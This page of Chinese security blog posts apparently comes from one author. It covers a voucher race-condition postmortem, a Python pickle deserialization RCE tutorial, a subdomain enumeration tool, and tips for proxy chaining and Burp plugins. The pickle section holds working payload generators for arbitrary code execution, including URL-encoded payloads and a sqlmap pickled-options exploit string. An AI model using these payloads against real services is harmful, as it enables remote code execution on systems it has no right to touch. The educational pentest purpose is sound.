bit4 发布的文章

抵现券一券多用问题原理与总结

背景

支付H5预计2015-12-31上线,故在2015-12-21日提测了一个服务端的安全测试单(单号:1632363),由安全测试人员bit4帮忙跟进测试。bit4于2015-12-26日于redmine系统提交了一个安全bug(单号:266626 【安全】【支付】抵现券高并发处理不当,可一券多用)。

测试步骤

  1. 通过PaySdk客户端,生成业务订单,并点击支付生成支付订单,但不进行购买,如此反复生成多个初始化的购买订单
  2. 通过抵现券查询接口(有三个,都可以),直接进行支付流程就会有这个接口的的返回信息,抓包查看即可,选取一个抵现券记录下它的code值,比如:d2404ac1b2a54a1aadad752b536fxxxx
  3. 截获支付流程中的购买接口(https://pay.xxx.com/pay/oauth/voucher/deal/buy),真正进行支付订单支付的接口,替换其中的code值为刚记录的值,并替换订单值为第一步骤中所记录的初始化订单的值。
  4. 同时发起订单号不同而抵现券值相同的多个请求,构成并发请求。之后查看结果。发现有两个请求均获得支付成功。

注:以上环境中,设置的订单金额和使用的抵现券的金额都是一元,以保证请求是有效的,不受其他逻辑的干扰。而且测试的时候资金账号基本余额也做了检查,余额未变动。而抵现券也只是少了一个。

现象

同一个抵现券在高并发请求下出现被多次使用成功,多个订单可以使用同一个抵现券购买成功。

核实问题

根据安全测试人员提供的订单号及抵现券code, 分析日志及DB中的订单状态,抵现券状态,确实发现两个不同的购买订单使用同一个抵现券code购买成功,且可重现。

分析问题出现原因

经分析代码AccountServiceImpl.decrVoucherFirst()方法发现调用消费抵现券方法VoucherServiceImpl.consumeVoucherCode()时未对方法是否消费抵现券成功做处理,而该方法本身也没有对是否成功消费抵现券做处理。

故导致,同一个抵现券在高并发请求下,有多个请求同时满足消费抵现券的前置条件,到达如下图二所标识部分,则多个请求都可以执行完该方法,只是返回值不同, 上层调用者如图一所示, 并未对返回结果做判断。

1.png

2.png

验证问题

修改VoucherServiceImpl.consumeVoucherCode()方法,不更改程序原有逻辑,仅添加详细日志来验证分析出的原因是否正确, 修改如下。

3.png

重新打包,提交到测试环境,请安全测试人员重新测试, 日志如下:

4-1.png

日志与预期结果相符,验证了猜测。
 
于2015-12-27日,修复了该bug, 修改如下图所未, 调用到更新DB时,更改失败时,抛出消费抵现券失败异常, 阻止程序继续执行。

5.png

重新打包,部署到测试环境,测试结果如下:

测试时发现有三个请求在同时尝试修改券的状态,其中两个返回了“消费抵现券失败”,只有一个成功。确认修复有效。

总结

Mysql处理高并发,防止库存超卖的问题,大部分人一般想到的都是事务,但是事务是控制库存超卖的必要条件,但不是充分必要条件。

举例:

  • 商品总库存:4个商品
  • 并发请求人:a、1个商品 b、2个商品 c、3个商品

假如产品表名为:t_store, 商品id为:12345, 商品库存字符为: amount, 请求减掉的库存数量: quantity

程序如下:

BeginTransaction(开启事务)
try{
    $result = $dbca->query('select amount from t_store where product_id = 12345');
    if(result->amount > 0){
        $dbca->query('update t_store set amount = amount - quantity where product_id = 12345');
    }
}catch($e Exception){
    rollBack(回滚);
}
commit(提交事务);
EndTransaction(结束事务)

以上代码就是我们平时控制库存写的代码了,大多数人都会这么写,看似问题不大,其实隐藏着巨大的漏洞。

数据库的访问其实就是对磁盘文件的访问,数据库中的表其实就是保存在磁盘上的一个个文件,甚至一个文件包含了多张表。
例如由于高并发,当前有三个用户a、b、c三个用户进入到了这个事务中,这个时候会产生一个共享锁(读锁,允许多个事务读,但是不允许修改),

---me:为什么这里加的是共享锁而不是排他锁呢?因为是先query,也就是读取,所以加共享锁。而下边的update是修改,只能是排它锁。

所以在select的时候,这三个用户查到的库存数量都是4个,同时还要注意,mysql innodb查到的结果是有版本控制(MVCC,有兴趣的同学可以自己百度)的,在其他用户更新没有commit之前(也就是没有产生新版本之前),当前用户查到的结果依然是旧版本。

然后是update,假如这三个用户同时到达update这里,这个时候Mysql会把update更新语句并发串行化,也就是给同时到达这里的是三个用户排个序,一个一个执行,并生成排他锁(可读可写,独占资源),在当前这个update语句commit之前,其他用户等待执行,commit后,生成新的版本;

这样执行完后,库存肯定为负数了。但是根据以上描述,我们修改一下代码就不会出现超买现象了,代码如下:

BeginTransaction(开启事务)
try{
    $dbca->query('update t_store set amount = amount - quantity where amount>= quantity and product_id = 12345');
}catch($e Exception){
    rollBack(回滚);
}
commit(提交事务);
EndTransaction(结束事务)

这样就可以控制库存超卖的情况了, 但是还需要处理一点,就是执行这个update事务究竟是否更新成功(即更新成功的records是否大于0)呢 , 上面的update更新成功才能够接着处理用户扣钱,等一系列的操作。

再来看看此次我们所犯的错误:

很明显所犯的正是没有关心update执行是否成功亦即更新成功的records是否大于0,在没有做任何的判断的情况下让程序继续向下执行。故而导致此bug的出现。

本内容选自小密圈:

20180613075812.jpg

Python Pickle的任意代码执行漏洞实践和Payload构造

0x01 Pickle的典型应用场景

一般在什么场景下需要用到Pickle?

  1. 通常在解析认证token,session的时候。(如果你知道更多,欢迎留言补充,感谢!)现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
  2. 可能将对象Pickle后存储成磁盘文件。
  3. 可能将对象Pickle后在网络中传输。
  4. 可能参数传递给程序,比如sqlmap的代码执行漏洞

    python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="

0x02 如何构造Payload

特别说明:以下测试代码均可在我的github上下载:https://github.com/bit4woo/sharexmind/tree/master/PickleRCE

1.执行系统命令的Payload

首先构造一个简单的包含漏洞的代码。

后续的验证过程中,将生成的Payload放到poc.pickle文件中,使用该代码来读取PoC验证效果(我将其保存为dopickle.py)。

__author__ = 'bit4'
import pickle

pickle.load(open('./poc.pickle'))

值得注意的是,pickle有loadloads2个方法,load需要的参数是文件句柄,loads所需要的参数是字符串。

pickle允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。

使用os.system执行命令的payload,保存为pickle_poc_gen.py

#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'

import cPickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test >poc.txt"""  #要执行的命令
        return os.system, (s,)        #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc

输出内容,也就是Payload:

cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.

url编码后的payload,用于URL中传递给web服务器:

cnt%0Asystem%0Ap1%0A%28S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A

我们将如上生成的pyload放到poc.pickle文件中,然后执行验证代码dopickle.py,成功执行了"echo test >poc.txt"(在当前目录生成一个poc.txt,其中的内容是test)。

现在问题来了,如何在实际的web环境中使用这些payload呢?

我们先实现一个简单的httpserver(dopicklehttpserver.py):

#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle

class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(self):
        if "?payload" in self.path:
            query= urllib.splitquery(self.path)
            action = query[1].split('=')[1]  #这种写法是一个坑,如果参数payload的值中包含了等号,将导致不正确,pickle将报“insecure string pickle”错误。
            #action = query[1].replace("payload=","") #这种写法可以避免=的问题,但实际的项目中肯定不是这么写,求指教~
            print action
            try:
                x = cPickle.loads(action) #string argv
                content = x
            except Exception,e:
                print e
                content = e

        else:
            content = "hello World"

        self.send_response(200)
        self.send_header("Content-type","text/html")
        self.end_headers()
        self.wfile.write("<html>")
        self.wfile.write(" %s " % content)
        self.wfile.write("</html>")

if __name__ == '__main__':

    srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
    print 'started  httpserver...'
    srvr.serve_forever()

运行以上代码后,将运行一个监听本地8000端口的web服务器,通过如下URL访问,传递Payload给服务器。

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A.

也和本地环境一样,成功运行了命令,生成了poc.txt

在PHP中还有有一种比较常见的思路,通过base64编码后传递,如下这种,那我们可以在python中借鉴。这部分内容包含在了“执行任意python代码的payload”小节中。

http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php

2.执行任意python代码的payload

我们的目标是实现任意代码执行,所以我们要序列化的对象成了code类型,但是pickle是不能序列化code对象的。

但幸运的是,从python2.6起,包含了一个可以序列化code对象的模块–Marshal。由于python可以在函数当中再导入模块和定义函数,所以我们可以将自己要执行的代码都写到一个函数里foo(), 所以有了如下代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen0.py'

import marshal
import base64
import cPickle
import urllib

def foo():#you should write your code in this function
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized

想要这段输出的base64的内容得到执行,我们需要如下代码:

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ”))()

写得更容易阅读点就是这样:

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

把这段代码转换成pickle后的格式,需要了解pickle的数据格式和指令。详细的转换过程可以参考:https://www.cs.uic.edu/~s/musings/pickle/

  • c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
  • (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
  • t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
  • S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
  • R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
  • .:结束pickle。

说人话:

  • c:接下来的2行内容类似于,os.systemurllib.unquotemodule.object的形式。
  • (:就是左括号
  • t:相当于右扩号
  • S:代表本行后面的内容是String,即字符串。
  • R:执行紧靠自己左边的一个括号对中的内容,即( 和他t直接的内容。
  • .:点号结束pickle。

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最终的可以执行任意代码的payload生成器(第一种),foo()函数中的部分是你应该自己编写替换的代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen0.py'

import marshal
import base64
import cPickle
import urllib

def foo():#you should write your code in this function
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized


#为了保证code_serialized中的内容得到执行,我们需要如下代码
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()

payload =  """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

print "------------------------------------------------"
print payload
fp =open("poc.pickle","w")
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)

将以上代码生成的payload分别用于dopickle.pydopicklehttpserver.py中进行测试。均成功执行命令。

注意:用于pickle_verify_httpserver.py的payload和上面一样还是需要url编码后的。

9f4a270e990cc8454b3dd3ebf84da5a4.png

3.另外一段不成熟payload生成代码的分析

在网上看到了另外一个生成代码:https://gist.github.com/freddyb/3360650

我们看一下他的代码并尝试利用上面的序列化规则“翻译”一下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen1.py'
#from https://gist.github.com/freddyb/3360650

try:
    import cPickle as pickle
except ImportError:
    import pickle

from sys import argv

def picklecompiler(sourcefile):
    """ 
    Usually pickle can only be used to (de)serialize objects.
    This tiny snippet will allow you to transform arbitrary python source
    code into a pickle string. Unpickling this string with pickle.loads()
    will execute the given soruce code.
    The trick is actually prettey easy: Usually eval() will only accept
    expressions, thus class and function declarations does not work.
    Using the work-around of code objects (returned by compile()), we can
    execute real python source code :)
    """
    sourcecode = file(sourcefile).read()
    payload = "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
    print payload
    fp =open("poc.pickle","w")
    fp.write(payload)


def usage():
    print "usage: ./%s file\n\nfile\tfile to compile into a pickle string" % argv[0]

if len(argv) == 2:
    print repr(picklecompiler(argv[1]))
else:
    usage()

再尝试还原成python代码,基本就是下面的语句

__builtin__.eval(__builtin__.compile(%s,'<payload>’,’exec’)) % cmd
eval(compile(%s,'<payload>’,’exec’)) % cmd

对以上代码生成的payload进行了测试,也只是成功执行了未包含函数和类的python代码,包含函数和类的则未执行成功。

4.终极payload生成器

分析到最后,发现其实有老外已经做过更加底层,更加详细的分享,并且也提供了Poc生成脚本

参考:

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

地址:

https://github.com/sensepost/anapickle

该工具中包含了大量的成熟payload,有了以上知识,不难理解其中的代码,也可以自己进行修改了。

0x03 参考

Teemo:域名收集及枚举工具

项目主页

https://github.com/bit4woo/Teemo

About teemo

域名收集及枚举工具

提莫(teemo)是个侦察兵,域名的收集如同渗透和漏洞挖掘的侦察,故命名为提莫(Teemo)!

该工具主要有三大模块:

利用搜索引擎:

  • baidu
  • so.com (360搜索)
  • google (需要代理,可能被block)
  • bing (使用cn.bing.com)
  • yahoo
  • yandex (可能被block,替代方案xml.yandex.com)
  • dogpile
  • exaland (可能被block)
  • ask (需要代理)
  • googleCSE (需要API key)

利用第三方站点:

  • Alex
  • Chaxunla (图形验证码)
  • netcraft
  • DNSDumpster
  • Virustotal
  • ThreatCrowd
  • CrtSearch
  • PassiveDNS
  • GooglCT
  • ILink
  • sitedossier
  • threatminer
  • Pgpsearch

利用枚举

基本使用

运行环境:python 2.7.*

  • 查看帮助:

    python teemo.py -h

  • 枚举指定域名(会使用搜索引擎和第三方站点模块):

    python teemo.py -d example.com

  • 使用代理地址(默认会使用config.py中的设置):

    python teemo.py -d example.com -x "http://127.0.0.1:9999"

  • 启用枚举模式:

    python teemo.py -b -d example.com

  • 将结果保存到指定文件(默认会根据config.py中的设置保存到以域名命名的文件中):

    python teemo.py -d example.com -o result.txt

  • 收集域名并扫描指定端口 :

    python teemo.py -d example.com -p 80,443

参考

参考以下优秀的工具修改而来:

Thanks for their sharing.

优缺点

为什么要修改,相对以上优秀工具有什么优缺点?

优点:

  • 使用的搜索引擎和第三方站点更全面,经过实际测试,发现收集的域名会更多。
  • 添加了代理的支持,像google,ask等可以通过指定代理地址去访问,个人使用google较多,所以这个对我很重要。
  • 使用搜索引擎的模块,会收集邮箱地址。

缺点:

  • 初始版本,bug很多。但后续会持续更新改进。欢迎提bug。

To Do

  • 接入打码平台
  • 域名有效性判断,端口扫描并记录--json格式(`{domain:{ip:127.0.0.1,ports:{80,443},cdn:{yes
    or no,具体是谁}}}domain`)
  • 泛解析,dns轮询相关
  • 优化config.py
  • 模糊匹配,例如包含"qq"的所有域名,比如qqimg.com
  • 搜索引擎模块,使用google hacking 搜索

Done

  • 添加多线程支持。
  • 添加www.so.com 360搜索引擎
  • 修复ask页面参数不正确问题
  • 优化代理参数设置
  • 优化正则表达式,去除以“-”开头的非法域名
  • 随机请求参数,减小被block几率
  • 优化搜索引擎部分参数配置
  • 修复dnsdumpter访问出错问题

相关思维导图

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免责声明

作者公开该工具代码,出于技术分享的目的,请不要用于非法用途。 任何使用该工具及代码,或者修改后的工具及代码,造成的任何问题,与本作者无关,特此声明!!!

BurpSuite和Fiddler串联使用解决App测试漏包和速度慢的问题

前言

没什么技术含量,就是一个小tips,请轻喷,大侠们有什么更好的也欢迎分享讨论。

问题

在实际的测试过程中,我一直使用BurpSuite,但是在使用它进行Android App的测试时发现有两种不好的情况:

  1. 使用了burp的代理后,响应速度明显降低,有的App对响应时间有要求,待到响应包返回后,页面已经显示超时,无法完成测试。
  2. 第二种情况更是糟糕,就是出现抓不到包的情况。在MottonIN的群也有小伙伴反映过相同的情况;官方论坛也有人遇到:http://forum.portswigger.net/thread/1115

解决方案

经过反复尝试,找到了如下的解决方法:

手机wifi设置代理 —–>Fiddler —->BurpSuite —–>互联网(或者测试环境网络)

原理说明

肯定有个疑问,只用burp都慢了,双重代理岂不是更慢?

答案是非也,串联速度会比只用burp快很多,为什么呢?这可能(我不能保证说得是对的,只是自己的猜测)和2个工具的抓包机制有关了。

Fidder 只是http和https的代理而且是用C#写出来的,而BurpSuite是从底层包中解析http流量,而且是Java写的,这么一对比,单独使用2者的时候,Fidder比BurpSuite也就很正常。

为啥串联还快呢,当Fidder的流量走BurpSuite的时候,没有流量解析的过程,只是单纯的转发,少了最耗时的步骤。总体而言还是比单独使用BurpSuite的时候快很多。

详细配置

1.Fidder和BurpSuite的配置

监听8888端口,手机上的代理地址就设置这个

pic1.png

如果要抓https的包,就要如下配置。

pic2.png

gateway的配置,设置的内容是burpsuite的代理地址,表示流量经过Fiddler后,转发到Burp的代理地址

pic3.png

pic4.png

2.手机上的配置:

设置代理地址;安装Fiddler的证书。

类似案例:

比如,sql注入的时候想要看到sqlmap使用了哪些payload,就可以使用proxy参数。

pic5.png

注意:

Fiddler 默认是不会使用系统hosts 的,而Burpsuite默认是会使用的,所以呢,串联后是会使用的。如果你的测试需要绑定hosts,请注意。

BurpSuite插件开发Tips:请求响应参数的AES加解密

缘由

自己使用burp进行测试的过程中遇到好些接口是有sign的,如果修改了请求参数都需要重新计算sign值,所以有用python实现过一个简单的插件,来自动计算sign值,以达到和普通接口测试一样方便的效果。

后来,好基友在做一个APP的测试的时候,发现有类似的问题,接口的所有参数都有使用AES加密,返回也是一样。他通过逆向获得了加密的算法,我们就通过如下的插件实现了自动加解密的过程。在整个过程中有一点点收获,现分享出来。

具体bug请移步:Zealer_android客户端安全检测(从脱壳到burp自动加解密插件案例/SQL注入/逻辑漏洞/附AES加解密脚本POC)

代码

闲话少说,上代码,BurpExtender主类代码如下,进行了较为详细的注释。AES算法类的参考链接:

code:

收获和建议

1.尽量使用java、避免python

我平常python用得比较多的,之前也用python写过几个简单插件。但是在开发burp插件的时候,发现还是Java更合适。上面的这个插件,最初就是用py实现的,但是,当这个py文件调了python的其他类,如下图。通过Jython去解析执行,遇到pyd文件就无法进行下去了,因为pyd是C写的,Jython是无法使用C写的模块的。burp本事是Java写的,使用Java去开发插件兼容性最高,会少很多莫名其妙的错误。

14658104734594.png

下面这个链接对此有详细说明:

14658105549687.png

2.适当代码分离、方便测试

我会分别将插件的代码和AES算法的代码分别写在两个不同文件中。这样可以单独调试算法的代码,也可以让插件代码更简洁不易出错。因为插件的代码每修改一次都需要重新在burp中加载才可以看到效果,不像一般的程序在IDE中就可以调试,所以个人认为这样比较好。

14658107055030.png

3.向优秀插件学习

插件代码的结构基本是固定的。比如,如果想要写一个对http请求和响应进行操作的插件,那么基本上如图的这段代码是可以直接copy使用的,下图标红的几个方法就都是必须的。我想我们大多数时候都是在对http的包进行处理。有了大的框架之后,再进行修改相对会容易很多。所以,如果你想写一个什么样的插件,你完全可以去找一个类似的插件,看他的代码,copy他的代码,改他的代码(比如我的,呵呵)。

14658110843982.png

你要问怎么样查看已有插件的代码?怎样查API文档?

首先安装一个已有插件。

14658112007656.png

找到burp所在路径下的bapps目录,里面就是你安装了的插件。

14658112112250.png

14658112207654.png

拖到JD-Gui中就可以看代码了,这种一般是不会做混淆的,至少我还没发现~。Py的就更不用说了,直接文件右键打打开。

14658112315306.png

4.查找并阅读官方API

关于API文档,我是通过溯源的方法,对于0基础的读者比较实用。比如我的目的是加密各个参数,那么首先要获取请求中的参数。我先去API库中搜索关键词parameter,可以找到多个相关方法,通过对比,我确定List<IParameter> getParameters();是我需要的。找到这个方法后,查看它的参数、返回值类型、所属的类这三个关键因素。它属于IRequestInfo类,只有IRequestInfo类型的对象才可以调用它,那么,有哪些方法会返回这个类型的对象呢?再去找那些方法可以返回这个类型的方法。依次类推,可以知道需要使用哪些方法,哪些类,就能梳理清除大致的思路了。

14658115701726.png

5.插件代码的套路

14658110843982.png

1.public class BurpExtender implements IBurpExtender, IHttpListener

tl.png

2.public class BurpExtender implements IBurpExtender, IHttpListener

tl2.png

3.http请求的常规处理逻辑

processHttpMessage 中需要做的事

  • Burp中最初拿到的东西就是 IHttpRequestResponse messageInfo
  • 把它变成我们认识的数据包格式:

    analyzeRequest = helpers.analyzeRequest(messageInfo);

burptips3.png

burptips4.png

获取各种需要处理的对象:参数、header、body,对象不同,方法有所差别

tl5.png

修改各对象并更新到最终的数据包

6.图形界面怎么搞

1.安装windowbuilder插件

教程:

http://jingyan.baidu.com/article/4d58d54113bfdd9dd5e9c045.html

exe.png

通过拖拽来实现图形解密的设计

exe1.png

exe2.png

为按钮添加点击事件

2.BurpExtender类中增加 Itab IContextMenuFactory

exe3.png

exe4.png

  • 这两个类接口也有他们必须实现的方法,否则看不到图形界面 String getTabCaption(); Component
  • getUiComponent(); –之前踩过的大坑
  • IContextMenuFactory —-对应的是那个“send to”功能

7.关于调试和移植

不能在IDE中直接调试,只能导出jar包,通过burp调用才能看到效果。 ———–所以编写过程尽量多使用输出排查错误。

图形界面的编写可以在IDE中调试完成后再移植到burp中,但是移植到burp需要修改一些地方。

exe5.png

项目主页

BurpSuite插件分享:图形化重算sign和参数加解密插件(更新2.2版本)

参考文档汇总

向先行者致敬,让我们少走弯路。

Java篇:

Python篇: